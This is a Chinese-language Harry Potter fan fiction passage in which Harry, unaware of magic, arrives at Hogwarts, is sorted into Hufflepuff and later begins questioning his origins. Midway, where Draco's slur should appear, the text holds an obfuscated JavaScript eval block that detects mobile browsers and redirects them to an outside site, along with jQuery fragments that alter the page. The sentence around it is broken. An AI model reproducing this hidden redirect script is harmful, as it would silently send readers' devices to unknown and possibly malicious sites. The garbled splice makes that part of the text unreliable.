哈利醒来时，坐在一列高速行驶的火车上。


    身边坐着的男孩正在忙着换上一件怪异的黑色长袍，他的同伴正七嘴八舌讨论着些“霍格沃茨”“分院帽”等哈利听不懂的词汇。天色已暗，但还能看到窗外正快速变化的图案。


    哈利想不明白。


    他依稀记得睡着前自己正坐在德思礼一家的车，跟满脸不爽的达力挤在一块儿前往动物园。因为前一天睡得太晚，他在车上打起瞌睡，再一睁眼，就来到这里。哈利疑心自己还在做梦，可是空气里的柠檬味道一次又一次刺激着他的鼻腔，提醒着他：他和所有人一样清醒。


    换好长袍的男孩偶然向哈利的方向看了一眼：


    “嘿，伙计们！这个睡了一路的小子醒了。他看起来可真像一个泥巴种！”


    哈利这才打量了一下眼前这个有些傲慢的男孩：浅金色头发、扬起的下巴、锃亮的皮鞋。哈利听见男孩的同伴叫他：


    德拉科少爷。


    哈利不是很想跟这三个莫名其妙的家伙说话。他起身，走向别的车厢，试探着能不能遇见精神正常一点的人。他推开门，新的车厢里面闹哄哄坐了一群年纪稍长的人。他们也穿着怪异的长袍，袍子上还带着徽章。一个红头发男孩起身向哈利走来，拿捏着介于礼仪与装腔之间的姿态地伸出一只手：


    “珀西·韦斯莱，格兰芬多级长。你是一年级新生吧？叫什么名字？我们马上要到霍格沃茨了，你为什么还不换上长袍呢？”


    在同珀西·韦斯莱的交流里，哈利勉强弄清了自己的处境。他坐在一列通往霍格沃茨的特快上，目的地霍格沃茨是一所培养巫师的魔法学校，这所学校一共分成四个学院，学院的学生彼此对立。


    等等，巫师？


    “韦斯莱先生，我想你一定弄错了。我不是什么巫师———事实上，我以为巫师这个词只会在童话书里出现。”


    哈利一边说，一边摊开手。他还穿着达力表哥不要的牛仔裤，旧衬衣洗得有些缩水，整个人显得与整个车厢格格不入。


    珀西奇怪地看了哈利一眼，似乎要脱口而出一些什么词语。但胸前级长勋章的一点反光在理智边缘拉住了他，使他不打算做这与级长身份不符合的事———至少是他以为的。他收起了他的大吃一惊，用一种“不必大惊小怪”的语气告诉———或者通知哈利：


    “你的情况我清楚了。我会替你找一找麦格教授。据我所知，霍格沃茨并没有因为操作问题误把麻瓜放上火车的先例———但我们并不能完全排除这种可能。”


    哈利刚要答话，火车到站了。韦斯莱没再分精力给他，迈着两条长腿迈出包厢。忙着维持从火车里涌出来的人群的秩序。哈利一边被人流裹挟着被动地向前走，一边怀疑德思礼一家是不是把他卖到了类似精神病院的地方。他对身处的一切保持着诸多怀疑，觉得自己置身许多人模人样的怪物中间———即使没有什么人精神失常，他也认为是不是这个霍格沃茨的什么人弄错了什么———正如那位韦斯莱刚刚说的那样————把他这个正常得不能再正常的11岁男孩带到这座城堡来———直到那位绿袍子女士大声念出他的名字：


    哈利·波特。


    ……


    哈利没有其他选择。他不得不学着其他人的样子走上前，在上千只蜡烛的照耀里戴上那顶破旧的帽子。帽子会说话：


    赫奇帕奇。


    黄色为主色调的那张桌子旁坐着的人全部站起来鼓掌。


    ……


    哈利是一个接受能力很强的人。当他发现无法改变什么的时候，就以惊人的速度接受了这匪夷所思的经历。他借助珀西·韦斯莱给他科普的一点点关于霍格沃茨的知识，通过冒充麻瓜家庭出身———这里的人似乎是这样称呼其他预先不懂魔法的人———的巫师融入了这个到处布置着黄色装饰的学院。


    哈利黑魔法防御课和魔药课都很有天赋————教授黑魔法防御课的卢平教授甚至反复跟他确认：


    “你真的是赫奇帕奇吗？”


    整个霍格沃茨都知道，新一届的赫奇帕奇不出饭桶，出了个天才。胖胖的院长女士高兴地宣布，赫奇帕奇终于又迎来了一个纽特式的人物———“或许在不远的将来，我们就能再次在教材上看见我们赫奇帕奇学生的名字。”———哈利在火车上见过的德拉科·马尔福对此嗤之以鼻。他每次见到哈利都会恶狠狠地用口型做出那个恶毒的词：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193143|181117||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    泥巴种。


    哈利并不在意。他不是传统巫师家庭出身，因此并不像那些为他打抱不平的朋友们一样对这个词有什么特别的感觉。他察觉到这个斯莱特林同学的不友好，但没觉得有什么大不了———只是一个词罢了，和达力·德思礼那些捉弄人的手段相比简直连挠痒痒都不是。


    哈利渐渐喜欢上了霍格沃茨。在这里，他交到了真正友好的伙伴，不需要应付德思礼一家的丑恶嘴脸；他第一次感受到心动的感觉———遇见那个叫秋·张的东方女孩；他甚至品尝到了荣耀的甘甜———作为霍格沃茨有史以来最年轻的找球手，他为赫奇帕奇赢得了第一次魁地奇球赛胜利。


    在这里，哈利有了家的感觉。


    或许是因为赫奇帕奇本身是一个温和的学院的缘故，在整个学校里没有太过鲜明的立场站队，没有格兰芬多和斯莱特林那种“一山不容二虎”的争锋想法，也不采取拉丁文劳那样自成一派的孤僻————哈利和其他学院的同学的相处就和赫奇帕奇跟其他学院的关系一样不太糟糕。格兰芬多的罗恩·韦斯莱教会他巫师棋，赫敏·格兰杰会同他就某一个魔咒展开激烈的讨论，他帮纳威·隆巴顿找到过乱跑的蟾蜍，拉丁文劳的卢娜·洛夫古德送过他一本《唱唱反调》。二年级期末，他们联手救出了误闯密室的德拉科·马尔福，从此和斯莱特林的关系也大为改善。


    哈利在霍格沃茨的前五年一切正常，上课，完成作业，泡图书馆，去霍格莫德村；除了伤疤偶尔有些疼———对了，哈利的额头上有一道闪电型的伤疤，但没人告诉他伤疤的来历。


    五年级的一节保护神奇动物课。海格教授领着他们来到禁林边缘：


    “今天带你们看夜骐。”


    “教授，我们为什么能看到夜骐？”赫敏问。


    海格挠挠脑袋，答不出来。愣在那里的不止是海格，学生们集体陷入沉思。卢娜象征性地掏出一副眼镜，戴上，取开，换个方向重新戴上。她梦呓似的说着些什么话，靠近她的人没有谁听得明白。


    哈利压根没听见卢娜的声音，因为此时他的伤疤正火烧一样的疼：


    “我为什么一直跟着德思礼一家生活？我的爸爸妈妈呢？”